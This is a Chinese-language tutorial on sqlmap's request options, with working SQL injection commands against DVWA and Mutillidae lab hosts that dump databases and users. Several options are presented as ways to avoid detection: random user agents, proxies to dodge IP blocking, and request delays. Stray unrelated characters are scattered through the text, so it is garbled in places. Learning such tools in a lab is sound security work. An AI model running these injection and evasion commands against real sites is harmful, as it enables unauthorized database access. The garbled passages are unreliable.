目錄
- 數(shù)據(jù)段--data選項
- 變量分隔符選項 --param-del
- cookie頭選項 --cookie
- 選項--user-agent
- 選項--random-agent
- 檢測user-agent注入點
- host頭選項 --host
- Referer頭選項 --referer
- 額外的header選項 --headers
- 額外的header選項 --headers
- 基于HTTP協(xié)議的身份認證
- 客戶端認證選項--auth-cert/--auth-file
- http(s)代理
- http(s)代理
- --timeout選項
- --timeout選項
- randomize
- --scope選項
- --scope選項
- --skip-urlencode選項
- --eval選項
1姥卢、數(shù)據(jù)段--data選項
- get / post 都適用
#sqlmap -u "http://1.1.1.1/a.php" --data="user=1&pass=2" -f //將get或post中的數(shù)據(jù)段以data傳入
首先,使用F12铛铁,調(diào)用調(diào)試器隔显,然后點擊“啟用”
首先復制抓包后的鏈接:
然后將其post提交的數(shù)據(jù)已--data
#sqlmap -u "http://192.168.50.183/mutillidae/index.php?page=login.php" --data "username=1&password=2&login-php-submit-button=Login" --dbs
上述是post方法,下面是將get方法進行提交饵逐、拆分
sqlmap -u "http://192.168.50.183/mutillidae/index.php" --data="page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details" -p username --users
2、變量分隔符選項 --param-del
sqlmap -u "http://1.1.1.1/a.php" --data="q=foo;id=1" --param-del=";" -f
用分號彪标;作為分隔符倍权,之前是使用&
3、cookie頭選項 --cookie
- 使用cookie作為登錄標識捞烟,即需要先正常登錄后薄声,在進行相關(guān)的訪問的,在探測時需要使用--cookie:
- web應用需要機遇cookie的身份認證
- 檢查cookie中的注入點(sqlmap自動測試题画,cookie字段中的變量存在的注入點檢測默辨,在設(shè)置level≥2的時候)
- Set-Cookie / --drop-set-cookie(當服務器響應新的cookie時,不更新苍息,仍使用原有cookie) / --cookie-del
訪問dvwa的的盲注頁面:
復制cookie數(shù)據(jù):
使用sqlmap進行sql探測
#sqlmap -u "http://192.168.1.183/dvwa/vulnerabilities/sqli_blind/?id=2&Submit=Submit#" --cookie="security=low;PHPSESSID=db6d77a898092583a30086fd7a6c1823" --dbs
//在登錄后需要使用cookie認證的探測
#sqlmap -u "http://192.168.1.183/dvwa/vulnerabilities/sqli_blind/?id=2&Submit=Submit#" --cookie="security=low;PHPSESSID=db6d77a898092583a30086fd7a6c1823" --level2 --dbs
//設(shè)置level為2缩幸,最大值可設(shè)置為5,還可以繼續(xù)探測到cookie中變量是否存在注入
4竞思、選項--user-agent
sqlmap在發(fā)送掃描探測的時候表谊,默認使用的user-agent為sqlmap/1.0-xxxx(http://sqlmap.org)的字符串。
通過wireshark查看默認下sqlmap的user-agent隙咸,首先仍使用上述sqlmap語句進行探測检痰,同時打開wireshark争群,過濾為目標IP地址,并觀察tcpstream流
可以通過使用--user-agent=“xxx”進行修改距辆,也可以通過下面的--random-agent修改
5余佃、選項--random-agent
/usr/share/sqlmap/txt/user-agents.txt
中,有已經(jīng)寫好的user-agent跨算,可以使用--random-agent在其txt中隨機使用一個作為user-agent爆土。
#sqlmap -u "http://192.168.1.183/dvwa/vulnerabilities/sqli_blind/?id=2&Submit=Submit#" --cookie="security=low;PHPSESSID=db6d77a898092583a30086fd7a6c1823" --dbs --random-agent
使用wireshark抓包,查看tcp流漂彤,選取了txt中的firefox作為useragent
6雾消、檢測user-agent注入點
sqlmap檢查user-agent中的注入點:level≥3
APP/WAF/IPS/IDS過濾異常user-agent時,如果有如下報錯挫望,是因為useragent被服務端識別立润,下面報錯中提示sqlmap使用--random-agent產(chǎn)生user-agent:
[hh:mm:20] [ERROR] the target URL responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --useragent or --random-agent
7、host頭選項 --host
設(shè)置level≥5媳板,即最高級別才會檢查host頭是否存在注入
--host="xxxx"
8桑腮、Referer頭選項 --referer
lever≥3
--referer="xxx"
9、額外的header選項 --headers
設(shè)置header中的屬性信息蛉幸,改為自己想要發(fā)送的header
sqlmap -u "http://192.168.50.183/dvwa/vulnerabilities/sqli_blind/?id=2&Submit=Submit#" --cookie="security=low; PHPSESSID=d9994fc98d59c687c8b7af790bd56da2" --dbs --headers="Host:www.aaa.com\nUser-Agent:bbbbb"
// \n表示換行符破讨,每個頭使用單獨的一行,因此需要\n
通過wireshark可以查看修改后的Host和User-Agent
10奕纫、選項 --method=POST/GET
--method=POST/GET //使用GET或者POST方法探測
11提陶、基于HTTP協(xié)議的身份認證
- HTTP
- Basic
- Digest
- NTLM
# sqlmap. -u "http://1.1.1.1/a.php?id=1" --auth-type Basic --auth-cred
"user:pass“ //--auth-tyep指定認證類型,user:pass表示用戶名和密碼
12匹层、客戶端認證選項--auth-cert/--auth-file
關(guān)于證書隙笆,除了認證服務端之外,服務端也認證客戶端這種雙向認證的場景
--auth-file="ca.PEM"
- 僅支持含有私鑰的PEM格式證書文件
- 或者是PEM格式的證書鏈文件
13升筏、http(s)代理
在sqlmap進行探測的過程中撑柔,為避免被服務端發(fā)現(xiàn)、對IP地址進行限制您访,可以采取使用代理的方式探測
--proxy="http://127.0.0.1:8080"
--proxy-cred="name:pass" //訪問搭理需要用戶名铅忿、密碼的情況下加上此選項
--ignore-proxy //忽略系統(tǒng)級代理設(shè)置(一般的代理是通過瀏覽器代理),通常用于掃描本地網(wǎng)絡(luò)目標
14灵汪、--delay選項
每次http(s)請求之間延遲時間檀训,單位為秒,可以是浮點數(shù)识虚,如1.5s也可以肢扯,默認無延遲。此項避免服務端發(fā)現(xiàn)注入攻擊担锤,每個一段時間發(fā)送探測蔚晨。
15、--timeout選項
請求超時時間,浮點數(shù)铭腕,默認為30s银择,在多長時間沒有接收到服務器的響應時間
16、--retries選項
http(s)連接超時重試次數(shù)累舷,默認3次浩考,連續(xù)超過3個timeout即不在發(fā)送請求。
17被盈、randomize
長度析孽、類型與原始值保持一致的前提下,指定每次請求隨機取值的參數(shù)名
#sqlmap -u "http://1.1.1.1/a.php?id=100 --randomize="id"
//每次id的值從100到999只怎,id為的長度等保持不變
18袜瞬、 --scope選項
過濾日志內(nèi)容,通過政治表達式篩選掃描對象
sqlmap -l burp.log --scope="(www)?\.target\.(com|net|org)"
sqlmap -l 2.log --scope="(19)?\.168\.20\.(1|10|100)" --level 3 --dbs
19身堡、--safe-url / --safe-freq選項
- 檢測和盲注階段會產(chǎn)生大量失敗請求邓尤,服務器端可能因此銷毀session
- 每發(fā)送--safe-freq次注入請求后,發(fā)送一次正常請求
--safe-url // 每次需要探測的url地址
--safe-freq //頻次贴谎,每次多少次請求后汞扎,發(fā)送正常請求
20、--skip-urlencode選項
默認Get方法會對傳輸內(nèi)容進行編碼擅这,某些web服務器不遵守RFC編碼標準澈魄,使用原始字符提交數(shù)據(jù)
直接在命令行后添加選項 --skip-urlencode
21、--eval選項
每次請求前執(zhí)行指定的python代碼
每次請求更改或增加新的參數(shù)值(時間依賴仲翎、其他參數(shù)數(shù)值依賴)
#sqlmap -u "http://1.1.1.1/a.php?
id=1&hash=c4ca4238a0b923820dcc509a6f75849b" --eval="import
hashlib;hash=hashlib.md5(id).hexdigest()"
//hash值依賴于前面的id信息一忱,每次id變化的話,hash也要隨之變化谭确,此時需要--eval選項,通過python腳本實現(xiàn)每次id和對應的hash一致